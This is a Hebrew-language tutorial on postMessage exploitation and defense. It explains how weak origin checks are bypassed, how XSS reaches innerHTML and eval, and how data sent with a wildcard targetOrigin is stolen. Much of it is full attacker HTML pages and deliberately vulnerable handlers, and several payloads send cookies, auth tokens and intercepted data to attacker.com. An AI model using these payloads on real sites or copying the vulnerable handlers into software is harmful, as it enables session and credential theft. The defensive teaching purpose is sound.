לדלג לתוכן

ניצול PostMessage - PostMessage Exploitation

סקירת postMessage API

window.postMessage() מאפשר תקשורת בטוחה בין חלונות (windows) ממקורות שונים (cross-origin). הוא מספק חלופה בטוחה להגבלות Same-Origin Policy.

// שליחת הודעה לחלון אחר
targetWindow.postMessage(data, targetOrigin);

// האזנה להודעות
window.addEventListener('message', function(event) {
  console.log(event.data);     // המידע שנשלח
  console.log(event.origin);   // מקור השולח
  console.log(event.source);   // reference לחלון השולח
});

דוגמה לשימוש לגיטימי:

// דף אב שמתקשר עם iframe
let iframe = document.getElementById('payment-iframe');
iframe.contentWindow.postMessage({ action: 'getTotal' }, 'https://payments.example.com');

// בתוך ה-iframe
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://shop.example.com') return;

  if (event.data.action === 'getTotal') {
    event.source.postMessage({ total: 99.99 }, event.origin);
  }
});

חולשות בולידציית מקור - Origin Validation

חוסר בדיקת מקור

הטעות הנפוצה ביותר - לא לבדוק את event.origin כלל:

// פגיע! אין בדיקת origin
window.addEventListener('message', function(event) {
  document.getElementById('output').innerHTML = event.data;
});

כל אתר יכול לשלוח הודעות לחלון הזה:

<!-- דף התוקף -->
<iframe src="https://vulnerable.com/page" id="target"></iframe>
<script>
  let target = document.getElementById('target');
  target.onload = function() {
    target.contentWindow.postMessage(
      '<img src=x onerror=alert(document.cookie)>',
      '*'
    );
  };
</script>

עקיפת regex - בדיקה חלקית

// פגיע! בדיקה חלקית של origin
window.addEventListener('message', function(event) {
  if (event.origin.indexOf('example.com') !== -1) {
    // מטפל בהודעה
    eval(event.data);
  }
});

עקיפה: https://example.com.attacker.com - הדומיין של התוקף מכיל את המחרוזת example.com.

עקיפת regex - endsWith

// עדיין פגיע!
window.addEventListener('message', function(event) {
  if (event.origin.endsWith('example.com')) {
    processMessage(event.data);
  }
});

עקיפה: https://evilexample.com - מסתיים ב-example.com.

עקיפת regex - match לא מעוגן

// פגיע! regex לא מעוגן
window.addEventListener('message', function(event) {
  if (event.origin.match(/example\.com/)) {
    processMessage(event.data);
  }
});

עקיפה: https://example.com.attacker.com או https://attacker.com/example.com.

מקור null

// פגיע! מאפשר null origin
window.addEventListener('message', function(event) {
  if (event.origin === 'null' || event.origin === null) {
    processMessage(event.data);
  }
});

יצירת null origin:

<!-- sandboxed iframe שולח עם null origin -->
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    parent.postMessage('malicious data', '*');
  </script>
"></iframe>

PostMessage ל-XSS

הזרקת HTML דרך handler

// שרת הקורבן - handler פגיע
window.addEventListener('message', function(event) {
  // אין בדיקת origin
  let data = event.data;

  if (data.type === 'updateContent') {
    document.getElementById('content').innerHTML = data.html; // XSS!
  }

  if (data.type === 'redirect') {
    location.href = data.url; // Open redirect / JavaScript protocol
  }

  if (data.type === 'eval') {
    eval(data.code); // RCE בדפדפן
  }
});

דף התוקף:

<!DOCTYPE html>
<html>
<body>
  <iframe src="https://vulnerable.com/page" id="target"></iframe>
  <script>
    let target = document.getElementById('target');
    target.onload = function() {
      // XSS דרך innerHTML
      target.contentWindow.postMessage({
        type: 'updateContent',
        html: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
      }, '*');

      // או דרך eval
      target.contentWindow.postMessage({
        type: 'eval',
        code: 'fetch("https://attacker.com/steal?c="+document.cookie)'
      }, '*');

      // או דרך redirect
      target.contentWindow.postMessage({
        type: 'redirect',
        url: 'javascript:alert(document.domain)'
      }, '*');
    };
  </script>
</body>
</html>

גניבת מידע דרך postMessage - Cross-Origin Data Theft

כאשר אתר שולח מידע רגיש דרך postMessage בלי לציין targetOrigin:

// שרת הקורבן - שולח מידע בלי targetOrigin ספציפי
function sendUserData() {
  let userData = {
    email: currentUser.email,
    token: currentUser.csrfToken,
    session: document.cookie
  };
  // שולח לכל חלון שמאזין!
  window.parent.postMessage(userData, '*');
}

דף התוקף שמאזין:

<!DOCTYPE html>
<html>
<body>
  <iframe src="https://vulnerable.com/dashboard" id="target"></iframe>
  <script>
    window.addEventListener('message', function(event) {
      // מקבל את המידע הרגיש
      console.log('Stolen data:', event.data);
      fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(event.data)
      });
    });
  </script>
</body>
</html>

עקיפת iframe sandboxing

ניצול sandbox permissions

<!-- iframe עם sandbox שמאפשר scripts אבל לא top-navigation -->
<iframe sandbox="allow-scripts" src="https://vulnerable.com/page"></iframe>

עם postMessage, ניתן לעקוף הגבלות sandbox:

// בתוך ה-iframe ה-sandboxed
window.parent.postMessage({ action: 'navigate', url: 'https://attacker.com/phish' }, '*');

// הדף האב (אם יש handler פגיע)
window.addEventListener('message', function(event) {
  if (event.data.action === 'navigate') {
    location.href = event.data.url; // עקיפת sandbox!
  }
});

הברחת הודעות - Message Smuggling

שינוי סוג הודעה

// handler שמצפה לסוג הודעה ספציפי
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted.com') return;

  let msg = event.data;
  if (msg.type === 'resize') {
    // לוגיקה לגיטימית
    document.getElementById('widget').style.height = msg.height + 'px';
  }
  if (msg.type === 'load') {
    // לוגיקה לגיטימית
    let s = document.createElement('script');
    s.src = msg.url;
    document.body.appendChild(s);
  }
});

אם התוקף מוצא XSS ב-trusted.com, הוא יכול לשלוח הודעות מהמקור המהימן:

// XSS ב-trusted.com -> שליחת הודעה למטרה
let target = window.open('https://vulnerable.com/page');
setTimeout(() => {
  target.postMessage({ type: 'load', url: 'https://attacker.com/evil.js' }, '*');
}, 1000);

עקיפת בדיקות origin מורכבות

subdomain takeover + postMessage

// handler שבודק subdomain
window.addEventListener('message', function(event) {
  let origin = new URL(event.origin);
  if (origin.hostname.endsWith('.example.com')) {
    processMessage(event.data);
  }
});

אם התוקף משיג subdomain takeover על forgotten.example.com:

<!-- hosted on forgotten.example.com -->
<script>
  let target = window.open('https://app.example.com/dashboard');
  setTimeout(() => {
    target.postMessage({ action: 'extractData' }, '*');
  }, 2000);
</script>

עקיפה עם data: ו-blob: URLs

// דף עם blob URL שולח postMessage
let blob = new Blob([`
  <script>
    window.opener.postMessage('malicious', '*');
  </script>
`], { type: 'text/html' });
let url = URL.createObjectURL(blob);
window.open(url);
// origin של blob: הוא origin של היוצר

דוגמת handler פגיע מלא

// handler אמיתי פגיע (מבוסס על חולשות אמיתיות)
window.addEventListener('message', function(event) {
  try {
    let data = typeof event.data === 'string' ? JSON.parse(event.data) : event.data;

    switch (data.action) {
      case 'setContent':
        // פגיע - innerHTML ללא sanitization
        document.querySelector(data.selector).innerHTML = data.content;
        break;

      case 'navigate':
        // פגיע - javascript: protocol
        window.location = data.url;
        break;

      case 'execute':
        // פגיע - eval ישיר
        eval(data.code);
        break;

      case 'storage':
        // פגיע - גישה ל-localStorage
        if (data.operation === 'get') {
          event.source.postMessage({
            key: data.key,
            value: localStorage.getItem(data.key)
          }, '*'); // שולח לכולם!
        } else {
          localStorage.setItem(data.key, data.value);
        }
        break;
    }
  } catch (e) {
    console.error(e);
  }
});

דף תוקף שמנצל את כל החולשות:

<!DOCTYPE html>
<html>
<body>
<iframe src="https://vulnerable.com" id="v"></iframe>
<script>
  let victim = document.getElementById('v');
  victim.onload = function() {
    let w = victim.contentWindow;

    // שלב 1: גניבת localStorage
    w.postMessage(JSON.stringify({
      action: 'storage',
      operation: 'get',
      key: 'authToken'
    }), '*');

    // שלב 2: XSS
    w.postMessage(JSON.stringify({
      action: 'setContent',
      selector: '#main',
      content: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
    }), '*');
  };

  // קבלת המידע שנגנב
  window.addEventListener('message', function(event) {
    fetch('https://attacker.com/collect', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(event.data)
    });
  });
</script>
</body>
</html>

הגנה

ולידציית origin מחמירה

const ALLOWED_ORIGINS = [
  'https://trusted.example.com',
  'https://payments.example.com'
];

window.addEventListener('message', function(event) {
  // בדיקה מדויקת של origin
  if (!ALLOWED_ORIGINS.includes(event.origin)) {
    console.warn('Rejected message from:', event.origin);
    return;
  }

  // ולידציית מבנה ההודעה
  if (typeof event.data !== 'object' || !event.data.type) {
    return;
  }

  // טיפול בטוח
  handleMessage(event.data);
});

הימנעות מ-innerHTML ו-eval

window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted.example.com') return;

  // לעולם לא להשתמש ב:
  // - innerHTML / outerHTML
  // - eval / Function
  // - setTimeout/setInterval עם מחרוזת
  // - document.write
  // - location.href עם ערך מההודעה

  // במקום:
  if (event.data.type === 'updateText') {
    document.getElementById('output').textContent = event.data.text; // בטוח
  }
});

ציון targetOrigin בשליחה

// רע - שולח לכולם
window.parent.postMessage(sensitiveData, '*');

// טוב - שולח רק ליעד ספציפי
window.parent.postMessage(sensitiveData, 'https://trusted.example.com');

סיכום

חולשות postMessage נובעות בעיקר מחוסר ולידציית origin, שימוש בפונקציות מסוכנות כמו innerHTML ו-eval על מידע מההודעה, ושליחת מידע רגיש עם targetOrigin של '*'. ההגנה דורשת בדיקת origin מדויקת (לא regex חלקי), הימנעות מפונקציות מסוכנות, וציון targetOrigin מפורש בשליחה.